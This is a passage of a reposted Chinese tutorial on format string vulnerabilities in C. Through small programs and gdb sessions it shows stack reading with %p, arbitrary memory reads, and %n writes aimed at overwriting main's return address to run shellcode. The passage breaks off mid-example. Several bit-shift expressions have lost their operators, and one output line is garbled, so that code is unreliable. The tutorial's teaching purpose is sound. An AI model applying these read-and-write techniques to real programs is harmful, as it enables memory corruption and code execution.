分享
 
 
 

FormatString漏洞介绍/总结(一)

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

其实这篇文章没什么技术含量,format string(格式化字符串)漏洞很久很久就被研究透了,scut的一篇pd文档属于非常详细的介绍/入门级文章,但是全英文以及里面例子有些解释不彻底, 以及有些例子已经不能使用了,所以这里想大致总结一下,并给出实验好的环境和代码.(实验平台:rh8.0,gcc自带版本)

Format string 漏洞一般是由以下几个函数引起的:

o fprintf - 输出到文件句柄

o printf - 输出到终端

o sprintf - 输出到一个字符串

o snprintf -输出指定长度到字符串

o vfprintf - print to a FILE stream from a va_arg structure

o vprintf - prints to 'stdout' from a va_arg structure

o vsprintf - prints to a string from a va_arg structure

o vsnprintf - prints to a string with length checking from a va_arg structure

Relatives:

o setproctitle - set argv[]

o syslog - output to the syslog facility

o 其他比如 err*, verr*, warn*, vwarn*

在使用这些函数的时候,如果指定了format格式的话,是不存在任何问题的,但是如果程序员偷懒,没指定format而直接输出字符串内容的话,就导致格式化字符串漏洞的发生,比如:

char *buffer;

……………….

printf("%s\n",buffer);

这段程序是不会产生字符串格式化的漏洞的,但是下面这个程序:

char *buffer;

…………..

printf(buffer);

如果buffer可以由用户控制的话,就会导致格式化字符串漏洞的发生。

类似还有:

syslog (LOG_NOTICE, buf);

fprintf(FILE *stream,buffer);

sprintf(char *string,buffer);

snprintf(char *string,strlen(string),buffer)

vfprintf(File *stream,buffer);

等。

1. 漏洞的产生/介绍

我们选用应用最普遍的printf函数来解答format string 漏洞的原理:

我们知道,一个标准正常的printf函数的格式化字符和参数应该是一一对应的,比如:

printf("%s%d%x\n",(char *)string,(int)intnum,(int)hexnum);

有几个%s等,后面就应该有几个参数,这样才可以一一显示该参数的内容,但是,如果有了格式化字符,如果没有跟参数,printf函数会怎么处理的呢?

[bkbll@mobile format]$ cat 6.c

main() { printf("%p %p %p %p %p %p\n"); }

%p表示按指针格式显示结果,我们编译运行下看看:

[bkbll@mobile format]$ gcc -o 6 6.c

[bkbll@mobile format]$ ./6

0x4212a2d0 0xbffffaf8 0x8048246 0x4200aec8 0x4212a2d0 0xbffffb18

显示的是一大堆的内存数据, 我们看看这些数据到底放在哪里的:

[bkbll@mobile format]$ gdb -q 6

(gdb) b main

Breakpoint 1 at 0x804832e

(gdb) r

Starting program: /home/bkbll/format/6

Breakpoint 1, 0x0804832e in main ()

(gdb) x/i printf

0x42052390 : push %ebp

(gdb) b *0x42052390

Breakpoint 2 at 0x42052390

(gdb) c

Continuing.

Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6

(gdb) x/8wx $esp

0xbffffacc: 0x08048345 0x08048394 0x4212a2d0 0xbffffae8

0xbffffadc: 0x08048246 0x4200aec8 0x4212a2d0 0xbffffb08

(gdb)

从这里我们看到, printf的入口在0x42052390, 我们分析一下堆栈数据的结构:

当系统调用某个函数的时候,首先会将函数参数压入堆栈, 最后把函数的返回地址压入堆栈, 上面的0x08048345是函数printf的返回地址, 也就是在main函数里面调用printf函数后下一条要执行的指令.0x08048394存放的是我们给printf的参数:

(gdb) x/s 0x08048394

0x8048394 : "%p %p %p %p %p %p\n"

由于我们给printf了很多的格式化字符%p,但是又没给上相应的参数, 系统认为紧跟格式化字符串后面的数据即为printf的参数,所以就按照%p的格式打印在了终端上.

如果我给出了足够多的%p, 是否可以一直打印数据到0xbfffffff呢? 答案是肯定的, 这个不段用%p显示内存数据就是在scut的pdf上讲到的stack popup的涵义.

好,我们现在可以显示调用printf函数堆栈以上的内容了, 但是我们可以显示任意内存地址的内容吗? 我们看以下事例:

[bkbll@mobile format]$ cat 7.c

main()

{

char buffer[100]="";

strcpy(buffer,"AAAA%p %p %p %p %p %p\n");

printf(buffer);

}

[bkbll@mobile format]$ gcc -o 7 7.c

[bkbll@mobile format]$ ./7

AAAA0x8048458 0x4200dbb3 0x420069e8 0x41414141 0x25207025 0x70252070

0x41414141就是我们写的AAAA的16进制码, 如果我把显示0x41414141的%p换成%s, 不是就可以显示0x41414141地址的内容呢?

[bkbll@mobile format]$ cat 8.c

main()

{

char buffer[100]="";

strcpy(buffer,"AAAA%p %p %p %s %p %p\n");

printf(buffer);

}

[bkbll@mobile format]$ gcc -o 8 8.c ;./8

Segmentation fault

段错误, 我们跟踪一下:

[bkbll@mobile format]$ gdb -q 8

(gdb) r

Starting program: /home/bkbll/format/8

Program received signal SIGSEGV, Segmentation fault.

0x4207a4cb in strlen () from /lib/i686/libc.so.6

(gdb) disass $eip $eip+4

Dump of assembler code from 0x4207a4cb to 0x4207a4cf:

0x4207a4cb : cmp %ch,(%eax)

0x4207a4cd : je 0x4207a56a

End of assembler dump.

(gdb) i reg ecx eax

ecx 0x1 1

eax 0x41414141 1094795585

(gdb) x/bx $eax

0x41414141: Cannot access memory at address 0x41414141

Oh,因为我们没有权限访问0x41414141这个地址,所以系统提示段错误.

那我们换一个我们可以访问的地址吧:

[bkbll@mobile format]$ cat 9.c

main()

{

char buf1[]="hello,world";

char buffer[100]="";

strcpy(buffer,"AAAA%p %p %p %s %p %p\n");

buffer[0]=(int)buf1 & 0xff;

buffer[1]=((int)buf1 8) & 0xff;

buffer[2]=((int)buf1 16) & 0xff;

buffer[3]=((int)buf1 24) & 0xff;

printf(buffer);

}

[bkbll@mobile format]$ gcc -o 9 9.c ; ./9

帔?x80484cc (nil) (nil) hello,world 0x25207025 0x70252070

我们输出了hello,world字符串, 而这个字符串的地址是我们替换了AAAA的数据得到的.

从上面的例子我强梢钥闯鐾ü??墓乖焘uffer, 我们可以显示任何地方的数据, 也就是所谓的:read anywhere.

能读数据虽然可以得到很多东西,但结构并不是我们想要的, 我们要可写才可以控制这个程序的流程, 才能运行我们的shellcode.

printf系列函数提供了%n的格式, 用来把显示的数据长度写进一个int型的变量里面, 比如:

[bkbll@mobile format]$ cat 10.c

main()

{

int i=0;

printf("before printf,i:%d\n",i);

printf("hello,word\n%n",&i);

printf("after printf,i:%d\n",i);

}

[bkbll@mobile format]$ gcc -o 10 10.c;./10

before printf,i:0

hello,word

after printf,i:11

我们把printf的输出长度写到了变量i里面,所以i值变成了11,既然可以写, 那我再试试可不可以写到其他地方,我们试一下写到main的返回地址里面:

[bkbll@mobile format]$ gdb -q 10

(gdb) x/i main

0x8048328 : push %ebp

(gdb) b *0x8048328

Breakpoint 1 at 0x8048328

(gdb) r

Starting program: /home/bkbll/format/10

Breakpoint 1, 0x08048328 in main ()

(gdb) x/wx $esp

0xbffffaec: 0x420158d4

我们得到了main的返回地址在0xbffffaec处.

Ok, 我们修改一下程序:

[bkbll@mobile format]$ cat 11.c

main()

{

int i=0xbffffaec;

printf("hello,word\n%n",i);

}

[bkbll@mobile format]$ gcc -o 11 11.c

[bkbll@mobile format]$ gdb -q 11

(gdb) r

Starting program: /home/bkbll/format/11

hello,word

Program received signal SIGSEGV, Segmentation fault.

0x0000000b in ?? ()

(gdb) i reg eip

eip 0xb 0xb

(gdb)

ok,我们已经成功的把数据写到了main返回地址那里, 0x000000b显然是一个不可以执行的地址, 所以会报错.

联想一下,结合前面的read anywhere和这里的写, 我们是否可以动态写数据到任何地址呢?

[bkbll@mobile format]$ cat 12.c

main()

{

int buf1=0xbffffaec;

char buffer[100]="";

strcpy(buffer,"AAAA%p %p %p %n %p %p\n");

buffer[0]=(int)buf1 & 0xff;

buffer[1]=((int)buf1 8) & 0xff;

buffer[2]=((int)buf1 16) & 0xff;

buffer[3]=((int)buf1 24) & 0xff;

printf(buffer);

}

[bkbll@mobile format]$ gcc -o 12 12.c

[bkbll@mobile format]$ gdb -

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有